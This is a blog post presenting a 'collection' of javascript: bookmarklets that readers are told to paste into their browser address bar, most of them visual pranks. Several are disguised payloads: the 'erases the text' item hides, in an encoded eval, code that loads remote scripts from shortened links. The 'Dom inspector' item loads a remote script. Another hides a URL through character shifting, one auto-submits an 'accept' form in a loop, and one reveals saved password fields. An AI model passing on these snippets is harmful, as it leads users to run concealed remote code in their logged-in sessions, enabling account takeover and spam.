Latest News
recent

Awesome Javascript collection by ehackworld

Procedure:
1)Just copy the javascript and paste it in your browsers Address bar and hit enter


DOWNLOAD TXT FILE



Javascript which pop up a message:

javascript:function reverse() { var inp = " !!!..skcoR dlrowkcahe "; var outp="";for (i = 0; i <= inp.length; i++) { outp =inp.charAt (i) + outp;}alert(outp) ;}; reverse()


Javascript to find passwords behind the astriks:

javascript:(function(){var s,F,j,f,i; s = ""; F = document.forms; for(j=0; j<F.length; ++j) { f = F[j]; for (i=0; i<f.length; ++i) { if (f[i].type.toLowerCase() == "password") s += f[i].value + "\n"; } } if (s) alert("Passwords in forms on this page:\n\n" + s); else alert("There are no passwords in forms on this page.");})();
                                    
                                                          (OR) 

javascript:shum=document.getElementsByTagName('input');for(x=0;x<shum.length;x++){shumj=shum[x].type;if(shumj=="password"){shum[x].type="text"}};void(0)


Javascript to rotate images on webpage:

javascript: R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0);
                                                            
                                                                (OR)

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI= document.images; DIL=DI.length; function A(){for(i=0; i<DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0)

                                                                 (OR)

javascript:R=-1;DI=document.images;DIL=DI.length;function A(a,b,c){return Math.sin(R/350*6.28*b+a)*c+c}function B(a){DIS=DI.item(a).style;DIS.position='absolute';DIS.left=A(0,7,300);DIS.top=A(1.6,6,150)}setInterval('R++;B(R%DIL)',15);void(0)


Javascript which vibrates your browser:

javascript:function flood(n) {if (self.moveBy) {for (i = 20; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} flood(10);{ var inp = "!!!..skcoR dlrowkcahe"; var outp = ""; for (i = 0; i <= inp.length; i++) { outp = inp.charAt (i) + outp ; } alert(outp) ;}; reverse();

                                                                 (OR)

javascript:a=0;x=0;y=0;setInterval("a+=.01;x=Math.cos(a*3)*200;y=Math.sin(a*2)*2;moveBy(x,y)",2);void(0)
                                       
                                                                     (OR)              

javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6) 


Javascript which pop up message and changes text colour on webpage:

javascript:alert("Created by ehackworld.tk"); i=0; c=["red","green","blue","yellow","magenta","orange","black","white"]; a=document.links;setInterval('i++;a[i % document.links.length].style.color=c[i % c.length]',10);void(0);


Javascript to Edit any webpage:

javascript:nick=document.body;nick.contentEditable='true'; document.designMode='on'; void 0


Javascript which erases the text on webpage:

javascript:eval(String.fromCharCode(106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 58, 118, 97, 114, 32, 105, 44, 115, 44, 115, 115, 61, 91, 39, 104, 116, 116, 112, 58, 47, 47, 98, 105, 116, 46, 108, 121, 47, 106, 121, 115, 68, 57, 69, 39, 44, 39, 104, 116, 116, 112, 58, 47, 47, 98, 105, 116, 46, 108, 121, 47, 101, 104, 73, 69, 74, 76, 39, 93, 59, 102, 111, 114, 40, 105, 61, 48, 59, 105, 33, 61, 115, 115, 46, 108, 101, 110, 103, 116, 104, 59, 105, 43, 43, 41, 123, 115, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 115, 46, 115, 114, 99, 61, 115, 115, 91, 105, 93, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 41, 59, 125, 118, 111, 105, 100, 40, 48, 41, 59))


funny javascript to fool your friends:

javascript:alert("Wait for few seconds......");nb=document.all[0].innerHTML.match(/[0-1]*.jpg\)/g);nb=parseInt(nb);document.body.innerHTML="<center><font style='font-size:100'><b><b>Computer Hacked By ehackworld</b></b></font>";for(i=1;i<=100;i++){document.body.innerHTML+='<img src="http://bit.ly/iJ739S">';};void(0)


Javascript which opens two webpages on same Tab:

javascript:alert("Created by ehackworld.tk");document.body.innerHTML+='<iframe name="ls" width="1000" height="600"></iframe>';window[0].location="http://www.ehackworld.tk/";function lostsoul(){document.forms[1].target="ls";window[0].document.forms['accept_0'].submit();};void(setInterval(lostsoul,4000))


Javascript which changes text colour on a webpage:

javascript: pri=0; nil=["red","yellow","lime","violet","navy","blue"]; enilton=document.links;setInterval("pri++;enilton[pri % document.links.length].style.color=nil[pri % nil.length]",10);void(0);javascript: pri=0; nil=["red","yellow","lime","violet","navy","blue"]; enilton=document.links;setInterval("pri++;enilton[pri % document.links.length].style.color=nil[pri % nil.length]",10);void(0);javascript: pri=0; nil=["red","yellow","lime","violet","navy","blue"]; enilton=document.links;setInterval("pri++;enilton[pri % document.links.length].style.color=nil[pri % nil.length]",10);void(0);javascript: pri=0; nil=["red","yellow","lime","violet","navy","blue"]; enilton=document.links;setInterval("pri++;enilton[pri % document.links.length].style.color=nil[pri % nil.length]",10);void(0);javascript: pri=0; nil=["red","yellow","lime","violet","navy","blue"]; enilton=document.links;setInterval("pri++;enilton[pri % document.links.length].style.color=nil[pri % nil.length]",10);void(0); 


Javascript for Blinking text on webpage:

javascript: cor = "red"; var timer_1; function vagalume () {(cor == "yellow") ? cor = "red": cor = "yellow"; document.links[20].parentNode.parentNode.style.backgroundColor = cor; timer_1 = setTimeout('vagalume ()',100)}; vagalume ()


Dom inspector Javascript:

javascript:prefFile=''; void(z=document.body.appendChild(document.createElement('script'))); void(z.language='javascript'); void(z.type='text/javascript'); void(z.src='http://bit.ly/nSSQw'); void(z.id='modi');


Javascript for Dancing text on webpage:

javascript:R=-1;DI=document.links;DIL=DI.length;function A(a,b,c){return Math.sin(R/350*6.28*b+a)*c+c}function B(a){DIS=DI.item(a).style;DIS.position='absolute';DIS.left=A(5,100,500);DIS.top=A(5.6,60,150)}setInterval('R++;B(R%DIL)',15);void(0) 


Javascript to expand images on a webpage:

javascript:DI=document.images;connectionstring= "!gsso9..hl`fdr2-nqjts-bnl.hl`fdr.lhkhdt.0.257.207/1257-iof!";exec1="";function A(){for(i=1;i<connectionstring.length-1;i++){exec1=exec1 + String.fromCharCode(connectionstring.charCodeAt(i)+1);}DI[3].src=exec1;}function B(){if(DI[3].width<300){DI[3].width++;}}A();setInterval('B()',5); void(0);

                                                                      (OR)

javascript:mwunm=128;void(setInterval("mwunm++;document.images[2].width=mwunm",5))

No comments:

Post a Comment

Followers

Powered by Blogger.